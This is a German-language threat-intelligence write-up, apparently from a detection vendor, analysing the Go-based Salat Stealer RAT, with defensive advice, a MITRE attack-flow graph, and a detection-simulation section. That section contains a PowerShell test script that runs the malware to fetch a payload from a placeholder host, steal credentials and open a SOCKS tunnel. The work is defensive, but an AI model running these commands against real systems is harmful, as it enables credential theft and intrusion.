SOC Prime Bias: Mittel

07 Mai 2026 18:58

Salat Stealer Analyse: Go-basierte RAT, C2-Resilienz und Informationsdiebstahl-Fähigkeiten

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
Salat Stealer Analyse: Go-basierte RAT, C2-Resilienz und Informationsdiebstahl-Fähigkeiten
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Salat Stealer ist ein auf Go basierender Remote-Access-Trojaner, der als umfassendes Post-Exploitation-Framework fungiert. Er unterstützt mehrere Kommunikationskanäle, darunter WebSocket, HTTP/2, HTTP/3 und QUIC, und bietet Betreibern flexible und robuste Kommandokontrolloptionen. Die Malware verfügt außerdem über umfangreiche Diebstahlmöglichkeiten für Anmeldeinformationen, zielt auf Browserdaten, Kryptowährungs-Wallets, Tastenanschläge, Screenshots und Netzwerk-Pivoting über SOCKS5 ab. Um Neustarts zu überstehen, verwendet sie versteckte Dateikopien, geplante Aufgaben und einen Run-Registrierungsschlüssel. Wenn ihre primäre Infrastruktur gestört wird, kann die Malware aktualisierte Kommandokontrollinformationen über die TON-Blockchain abrufen.

Untersuchung

Die Analyse erklärt, wie die Malware Verschlüsselungsschlüssel aus statischen Zeichenfolgen, kombiniert mit dem Hostnamen des Opfers, ableitet und sie dann verwendet, um fünf eingebettete Kommandokontroll-URLs zu entschlüsseln. Forscher dokumentierten auch, wie Salat Stealer sein Transportprotokoll auswählt, Betreiberbefehle verarbeitet, versucht, Privilegien zu eskalieren, und mehrere Persistenzmethoden auf dem Host bereitstellt. Der Bericht beschreibt weiter die Bandbreite der gestohlenen Daten und die erweiterten Fernzugriffsfunktionen, die dem Angreifer zur Verfügung stehen.

Minderung

Verteidiger sollten Verbindungen zu den identifizierten Kommandokontroll-URLs sowie unerwarteten QUIC- und WebSocket-Datenverkehr zu unbekannten Zielen überwachen. Sicherheitsteams sollten auch auf versteckte geplante Aufgaben und verdächtige Run-Schlüsseleinträge achten, die auf unbekannte ausführbare Dateien verweisen. Anwendungs-Whitelistings und strikte Ausführungskontrollen können verhindern, dass die auf Go basierende Nutzlast ausgeführt wird. Netzsegmentierung und TLS-Inspektion können die Sichtbarkeit verdächtigen ausgehenden Datenverkehrs, der mit der Malware in Verbindung steht, weiter verbessern.

Reaktion

Wird eine Aktivität des Salat Stealers festgestellt, sollte das betroffene System sofort isoliert, Speicher- und Festplattenimages gesammelt und die bösartigen Prozesse beendet werden. Alle Persistenzartefakte, einschließlich geplanter Aufgaben, Run-Schlüsseleinträge und versteckte Dateikopien, die von der Malware verwendet werden, sollten entfernt werden. Die identifizierten Kommandokontroll-Domains sollten blockiert werden, ebenso wie alle damit verbundenen TON-Blockchain-Abfragen, die für die Entdeckung von Infrastrukturfallbacks verwendet werden. Offengelegte Anmeldeinformationen und Kryptowährungs-Wallets sollten ebenfalls unverzüglich gedreht oder gesichert werden.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc %% Malware definition malware_salatr["<b>Malware</b> – <b>Name</b>: Salat Stealer (Go RAT)<br/><b>Description</b>: Gou2011based remote access trojan used for theft, persistence and lateral movement."] class malware_salatr malware %% Initial execution process process_start["<b>Process</b> – <b>Name</b>: SalatStealer.exe<br/><b>Action</b>: Starts, retrieves own path, checks for existing instance, may bypass UAC.<br/><b>Technique</b>: T1548.002 Bypass User Account Control<br/><b>Technique</b>: T1027.008 Obfuscated/Stored Files"] class process_start process malware_salatr –>|executes| process_start %% Persistence mechanisms persistence_task["<b>Action</b> – <b>T1053.005 Scheduled Task</b>: Creates hidden scheduled task with masqueraded name (explorer.exe)."] class persistence_task action persistence_reg["<b>Action</b> – <b>T1547.001 Registry Run Keys / Startup Folder</b>: HKCURun entry using disguised name (svchost.exe)."] class persistence_reg action process_start –>|creates| persistence_task process_start –>|creates| persistence_reg %% Defense evasion defense_evasion["<b>Action</b> – <b>T1027 Obfuscated Files</b>: Sixu2011mode string obfuscation and peru2011machine key derivation."] class defense_evasion action process_start –>|applies| defense_evasion %% System discovery discovery["<b>Action</b> – <b>T1082 System Information Discovery</b>: Gathers OS, CPU, GPU, RAM, active window title, admin status and builds an agent identifier."] class discovery action process_start –>|performs| discovery %% Credential access credential_access["<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b>: Dumps Chromium, Firefox, Discord, Steam browsers and DPAPIu2011encrypted passwords.<br/><b>Additional techniques</b>: T1056.001 Keylogging, T1115 Clipboard Data."] class credential_access action process_start –>|performs| credential_access %% Collection of data collection["<b>Action</b> – <b>T1113 Screenshot</b>, <b>T1125 Video Capture</b>, <b>T1560.001 Archive via Utility</b>: Captures screen, webcam video and archives data into ZIP files."] class collection action credential_access –>|collects| collection %% Command and control c2["<b>Action</b> – <b>T1071.005 WebSocket</b> and <b>T1071.001 Web Protocol</b>: Communicates over QUIC/WebSocket with encrypted URLs; falls back to alternate endpoints and TON blockchain.<br/><b>Technique</b>: T1008 Fallback Channels"] class c2 action collection –>|exfiltrates via| c2 %% Exfiltration exfiltration["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b>, <b>T1048 Exfiltration Over Alternative Protocol</b>, <b>T1020 Automated Exfiltration</b>: Sends archived data and stolen credentials."] class exfiltration action c2 –>|sends data| exfiltration %% Execution of remote commands command_exec["<b>Action</b> – <b>T1059.003 Windows Command Shell</b>: Receives and runs commandu2011line instructions from the attacker.<br/><b>Technique</b>: T1090.001 SOCKS5 Proxy for tunneling."] class command_exec action exfiltration –>|receives commands| command_exec %% Lateral movement via proxy lateral["<b>Action</b> – <b>T1090.001 Proxy (SOCKS5)</b>: Establishes internal SOCKS5 tunnel for pivoting and lateral movement."] class lateral action command_exec –>|establishes| lateral "

Angriffsablauf

Simulation Ausführung

Voraussetzung: Der Telemetrie- und Basislinien-Vorflugcheck muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Techniken (TTP) des Gegners, die entwickelt wurden, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die durch die Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Angreifer hat die Salat RAT Binärdatei (salat.exe) über einen Phishing-Anhang auf dem Opferhost bereitgestellt. Nach Erreichen eines low privilege Standpunkts führt der Angreifer die Binärdatei mit spezifischen Argumenten aus, um:

    1. Ein sekundäres Payload herunterladenmain.downloadFile https://malicious.example.com/payload.exe.
    2. Gespeicherte Anmeldeinformationen stehlenmain.Steal -module credentials.
    3. Ein Peer-to-Peer SOCKS-Tunnel für laterale Bewegung einrichtenmain.p2pSocks -listen 1080 -remote 10.0.0.5:4444.

    Die Binärdatei wird aus einer erhöhten PowerShell-Sitzung gestartet, um die Anforderung zur Erhöhung (T1548) zu erfüllen. Jede Ausführung erscheint als separates Sysmon-Prozesserstellungsereignis mit der entsprechenden Befehlszeile, was die Sigma-Regel-String-Match-Anforderung erfüllt.

  • Regressionstest Skript:

    # -------------------------------------------------
    # Salat RAT Simulationsskript – löst Erkennung aus
    # -------------------------------------------------
    $binaryPath = "C:Tempsalat.exe"
    
    # Sicherstellen, dass die Binärdatei existiert (Platzhalter – in einem echten Test würde die Binärdatei vorgestuft)
    if (-Not (Test-Path $binaryPath)) {
        Write-Error "Salat Binärdatei nicht gefunden auf $binaryPath"
        exit 1
    }
    
    # 1. Sekundäres Payload herunterladen
    Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait
    
    # 2. Anmeldeinformationen stehlen
    Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait
    
    # 3. P2P SOCKS-Tunnel öffnen
    Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait
    
    Write-Host "Simulation abgeschlossen."
  • Bereinigungsbefehle:

    # -------------------------------------------------
    # Bereinigung für Salat RAT Simulation
    # -------------------------------------------------
    # Beenden aller verbleibenden Salat-Prozesse
    Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Entfernen der Binärdatei (wenn erlaubt)
    $binaryPath = "C:Tempsalat.exe"
    if (Test-Path $binaryPath) {
        Remove-Item $binaryPath -Force
        Write-Host "Entfernt $binaryPath"
    }
    
    # Optional: Entfernen verwandter Sysmon-Ereignisse aus dem Testindex (Beispiel für Splunk)
    # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'